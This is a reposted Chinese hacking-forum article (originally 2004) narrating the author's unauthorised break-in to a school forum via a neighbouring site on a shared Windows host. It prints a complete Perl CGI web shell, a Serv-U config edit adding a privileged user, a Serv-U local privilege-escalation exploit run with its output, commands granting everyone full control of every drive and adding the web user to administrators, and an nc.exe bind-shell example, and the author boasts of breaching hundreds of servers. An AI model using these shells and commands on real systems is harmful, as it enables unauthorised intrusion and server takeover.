找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1815|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
& F; ^1 l1 ]9 k8 M& q1 N本文作者:angel
4 W7 [) j& I0 T- ~文章性质:原创
+ o  Q7 B. y8 x* E5 I4 P( Z1 Q发布日期:2004-11-09
0 z$ H, h- P8 ~4 W注意:
* ^' O' r5 H+ ^  E, ^6 o本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。' R0 H5 ?3 M. s0 Z
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
1 r) y3 P5 B6 F' Y, T5 n" N7 Z* o. ?2 F! l
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
1 e# [# t! w0 B  p4 M9 |, j# B! a! x" o7 ?, A& ]& \
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 ( }" f  w( a5 L* U& L% V/ H5 e1 T

4 |5 l  F0 @! W3 J8 _  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 7 \0 p! x* ?8 G' I/ v- r5 |

8 ?  W  Y' r0 ?6 M* d  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。   p& m  b* Q" k5 F& Q# I  q
2 O% E3 |2 L. c0 U6 X6 L# q
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
9 d. w& D4 ?. C; c$ q/ y8 w& R
  没有目的的跳转目录着…… * O+ E& G* Z0 `0 d0 b" V$ Y* g& e
$ f4 ]! i+ k3 J) k- _0 g
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
" N! P; I/ j# l/ o2 R) H5 o1 {& ~5 D) F8 s6 b" N0 y
  结束了吗?不,我试着 FTP 一下:
0 o$ z3 w! s& x$ W1 Z6 B% u
* O  [5 U* b* XMicrosoft Windows 2000 [Version 5.00.2195]
' \/ x- ]5 D" [(C) 版权所有 1985-2000 Microsoft Corp. % g% t( f9 n7 F% Z! o9 n& f1 ]
. \+ C5 G) m( J( ?1 v8 E
C:\Documents and Settings\Administrator>ftp www.school.com$ p' s& F: I9 I- B4 Q" y
Connected to www. school.com. 2 v( i8 g7 g) y: F
220 Welcome to FTP Server...
  n$ `% A1 L8 D! P/ S7 YUser (www.bjtrq.com:(none)):
' t( A) i# Y% _# H  s331 User name okay, need password.
$ y2 i3 e2 A! x5 X8 M7 [4 m' ~  EPassword: 6 Z1 p% B! Y# a( e
530 Not logged in. . R, H) |8 Q: \! R& s1 F
Login failed. . e4 w3 m  @: s! O; G& c- o# `; s
ftp> bye 1 j9 ~& A# s/ D" Z  I+ B4 E
221 Goodbye!
- C+ C( m& K' L+ i ; Q! o" @7 i+ V
! ~1 ]" M+ b/ _+ F! U0 y" {' o; H' Q
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
$ I! r6 o! }# s* {* }1 h: u7 a( }7 G6 P0 P, y
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 & t: ~3 x0 H9 v/ ?
4 j$ K, l- Q' h) V  W
Application Data9 ^8 m6 `" q, p% z* h% E
Documents
- f6 l+ D# k! G1 y/ k$ j# iDRM
, L% f  ^# N! K9 O) XFavorites" T/ r( c. u) E0 d# I- S
Templates
: _, U; t6 t+ l2 i2 X# z; Y: H4 T「开始」菜单
$ Z+ c# d+ @: b  b桌面0 I5 R/ c. N- V2 t% r, l$ h

  v) n; @7 b. a9 _) J! B& x5 U8 u" a2 Y) _
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 3 C) f+ D9 R( o" [; J  q) d
4 F" f! D9 D+ |7 f- M
ActiveState ActivePerl 5.8
5 r+ C& ]( f7 c+ AAdministrative Tools
: t; z, v2 ?/ a1 Z/ v: D4 ^0 kDeerfield.com0 k- S/ h% p) `* n8 l! n5 }$ m# F
DTemp2 i7 @9 B7 j/ f. x8 J  C
IPSentry" i: k! E- ]$ i
MBM 55 V8 U# w. t, f) s6 ~/ M& o) Y: Q+ @
NetMeter
& C2 O/ ]; \+ k# M1 rNetwork ICE4 \; v  \  g* H+ p' `1 z/ O
Persits Software AspEmail
# x$ {9 g$ y' KPersits Software AspJpeg
- o+ R' }- O! Y5 Y. e7 xServ-U FTP Server* G# }0 V2 X  ^+ f* o( W
Symantec Client Security
' m2 z8 r% s, {! p) cWindows 优化大师7 d6 p7 M5 l  C5 t) x0 `# a
WinRAR
/ V* g* C8 Z: k+ \启动
+ }8 G" n0 w+ U7 z* J: I& r管理工具& L* b' G1 U/ s6 }1 A
附件; {/ f, m5 Z7 y

3 A3 M7 \/ K! i: Z# z+ f# S0 R9 ]2 U6 g
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 " M$ s- A2 o5 t5 {. J! s, W
% I3 h+ B: A8 C& Y9 U& j7 h
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 9 j$ C) q/ f9 Q: F, j( ~$ R

7 R! r5 r0 \' J, G6 r" h, N, m$ F% YUser281=angel|1|0
( y, n  `' N& z) c% d$ c
5 V9 m( t( P8 ]# [8 s! L0 c- x# x) i
  然后加上 8 I' D  B% _3 Y7 I% d5 I: W& V
$ S$ N- e! j1 A5 `9 P. U1 f
[USER=angel|1]
/ _( [- Q- }* X- c) g( YPassword=ng98F85379EA68DBF97BAADCA99B69B8054 Y2 V% C% _% p0 q! ?' S% a
HomeDir=D:\websites
2 B: s, p% [8 {2 tRelPaths=1" g9 f1 z) }* Z& }+ Q
TimeOut=600) ~3 u7 h2 ^% @4 n5 l5 K# V- k" ^
Maintenance=System
! a2 b8 @0 h* J. i) X, s. @Access1=D:\websites|RWAMELCDP/ o0 ~: k) P6 p+ R
SKEYValues=
6 z6 z8 Q/ ^8 b/ y- p
- m( c0 r7 v( K5 Z5 `8 \
. N7 I: O: [) F; [2 A& E9 E  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… , @0 Y1 G; L- y6 j  M$ O. \' v

2 r( k5 d3 Z$ W# P- T$ N  |% M2 Y  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 ' a+ N2 @! F+ c5 m( {

2 E( S) T; g5 f' p. I" ]! V4 ]: H  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 2 z: o$ A, \" S2 N5 {0 ]
) S3 g4 x" h) l; e& Y) E
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: & w0 P1 Z, c3 {3 O" x9 D# ~
. L8 v6 |* v( H
#!/usr/bin/perl
) S/ {. w0 J# S  ^: }# j' Q  gbinmode(STDOUT);
' K! ?8 a7 V' M, r7 g7 D) @4 Hsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
' I0 r7 D0 ]0 Q: I1 q$_ = $ENV{QUERY_STRING};" g5 p/ F1 @8 A7 j" [! ?4 c. ^
s/%20/ /ig;, Y5 |# Q" Q7 F" t( E1 a1 p$ V3 [
s/%2f/\//ig;
" V) z8 p! P1 d9 F5 \( k: G1 c: d- n$execthis = $_;
( ~  ^- v. E) y0 A$ Csyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
0 J3 P9 s1 y% qopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";2 t' V# W/ }1 w+ [- T/ R
system($execthis);" r7 J6 t( T. z) o- m( F5 E
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);9 {" d. l- w$ A, k% b/ I7 E
close(STDERR);+ h0 F4 p4 P* e% C" o
close(STDOUT);6 N/ m/ D) @% a2 x
exit;$ }& Y1 g0 S7 b$ B: t3 b; s$ [' f

6 Z3 _6 k' V  e, _& e: }6 u
! t$ l  s& j1 ?' e- }4 p0 O  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
: }, m( a' j! W2 M8 N3 }+ L. D  N7 {! _0 t5 z) u& r% |% u2 j
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
/ }& O* i* Q4 N$ L  x/ _. E3 g4 s% n. U3 h
http://anyhost//cmd.pl?d:\user\bin\su.exe 4 h, K: [# `; b5 e# |" ^; T. W

: Z/ O! X6 {9 J5 d9 m1 I( s2 x! V- P! I; Q
  返回: 4 u. T* B8 T9 ?4 W# D& D; p/ f1 i
5 r' Y7 w2 i0 k8 C2 B
Serv-u >3.x Local Exploit by xiaolu 6 @/ o; y! u0 r$ |5 Q

. e0 i' }$ J$ R$ e% y- p& T/ zUSAGE: serv-u.exe "command"
5 P0 q8 K2 {8 c5 e5 U' F& P
2 w& Y# {1 {6 Y; I& }8 s, RExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" - C; D' m% Q  z  X+ H3 w7 S0 k* G! S
2 E& C7 E" S% I& O
6 K6 C- i5 c  Z  \) g& N0 d; G2 \
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: & A' G4 W1 M3 h" M: {* Y4 o
8 u; p& `  z2 }! }4 z
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" * ^0 `* \) X) n

7 w2 x% A1 L5 D$ m( b5 e' ]http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
3 R& B+ }- [9 T  A
1 @* E: B5 x5 Q6 H& k# K  qhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 8 N. [9 g% l. \; F
/ M0 H$ e  o/ S& o" ?/ g% E
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" / m  N5 J: L8 O( o; g# v* I8 f+ i
9 s. _; w; i; o
" E2 x0 Z7 q7 R! A) p. E) ^2 j
  返回下面的信息,就表示成功了!!! : [8 s' Z$ G* L  ], N! u" n) o0 i
! L- S9 e) q9 Y5 ]8 z& J* f
Serv-u >3.x Local Exploit by xiaolu
: J4 Q. M9 v" j/ v2 v# m# b" O% ?0 V# ~# v1 s2 k: i/ x
<220 Serv-U FTP Server v5.2 for WinSock ready... * Z' Y2 P5 ^4 M1 D" U0 [- }

5 T% [0 h& a$ M& D' ~$ _( k>USER LocalAdministrator . x* J3 i7 g( K+ |) [  Q' o5 V
2 F% G2 W, P4 P
<331 User name okay, need password. % P$ X# _/ e" Q( L  ~* [

0 t6 ^! A8 L6 P& k7 Q) Y: V******************************************************
" ^* x+ ]" C, B+ S" s3 t( B
% p  R) m- Y- f- h( ]>PASS #l@$ak#.lk;0@P : z  l# L0 ?; g! d
0 l8 j& C) F' z' a5 s
<230 User logged in, proceed. ( r) ~/ \$ i' h! \$ a$ T

) o9 Q5 U( ~5 k******************************************************
9 A+ G( N0 `& n* m+ @
* r( m8 O' Y& B( u8 c9 |9 w>SITE MAINTENANCE
3 H* }+ A/ P: g! q, f, `" w4 {" v" L5 u3 Z' e* {& D
******************************************************
" B$ h& S7 Y/ Q, ~/ a2 G6 \
& h3 e; X$ C" Y2 M[+] Creating New Domain...
3 s. x2 i$ j( O) N+ s' G4 C! X
! I) E3 K) m5 Q* a9 y<200-DomainID=2 ( J3 S7 D8 I4 S: B+ h( @" v
( ^+ a/ M  t. Z3 x* r% ^
<220 Domain settings saved
" O, P4 v6 S/ ~; @+ k% N: O& D+ y
5 m% z3 t/ z  _5 r0 l******************************************************
; h) y6 M4 o( M5 X! R( S  D% g7 |; e) A5 G
[+] Domain xl:2 Created
& Y$ P- o% H: e/ z$ H+ V& U
$ ?3 W- a. e6 A  R7 a[+] Creating Evil User & a, M  h: ?7 Z
9 ?+ ^6 \0 ]$ n# P7 a6 V- V
<200-User=xl
5 V' `* s3 C# |; v& h' e
, Z* o8 U" d1 c8 K/ U. L7 B200 User settings saved
% |2 J4 O" p; G& D
- ]' x# `- U( M9 K****************************************************** * h3 l5 |- z7 m$ Z0 H6 ?7 n, H. a

; v+ U  k5 M" g$ x, N3 [[+] Now Exploiting... ; Y; H3 G" [+ ]: U; l7 Y

8 u4 S: _% n) q. j% E>USER xl
1 M% L7 n  P9 m9 G( S. V4 N7 |' e% p: p+ L/ H
<331 User name okay, need password.
3 }; O$ t0 f  S. x& _# F4 j  y9 q) V3 d$ K0 D7 M
******************************************************
/ `. o7 k& Y6 _
! V0 \0 s6 l& m' }>PASS 111111
5 T! M2 H' v6 ~4 V8 x, G, H3 X' k
/ x. w" {, m  B% G( c" d<230 User logged in, proceed. : \: f# ~, C+ t3 O4 ~% V) p
* i6 X$ p. D1 p! L" ]7 T4 Z- C+ P
******************************************************
. G; w( \, W/ _1 @7 A, k* w& d! i  s/ }& k& ^  o# C: M
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
0 y. J; R* \, D: D8 F4 u' I
/ a0 ?' W' w! U1 p/ ]+ g1 o/ t7 j<220 Domain deleted # w5 x, Z& z. B& d& T# `8 B5 t
, [+ A9 n  v! M
******************************************************
  s. x. I8 _8 c0 z) _/ p1 [
5 F# }1 F- q! _1 s5 \, t# e1 K3 ?' s3 A9 u
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: & J2 h# H. `. w5 A) U

% c# i6 q+ T" d8 l# z* s. khttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 0 J4 X& R* c+ H. R" G$ X+ R# a
4 P- K8 A/ A- \* C, e/ z

/ ]1 k- W* D3 i, _+ j/ O0 Z  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 6 A9 L$ ^* S$ \, W. N7 Z) d
" q8 ?1 ]) B+ d2 O, I5 s9 O
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
& r" B! r/ S$ \8 B+ x' l9 d( i . r# t% D, `+ E/ [! @
  
3 e# f- x5 F5 v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表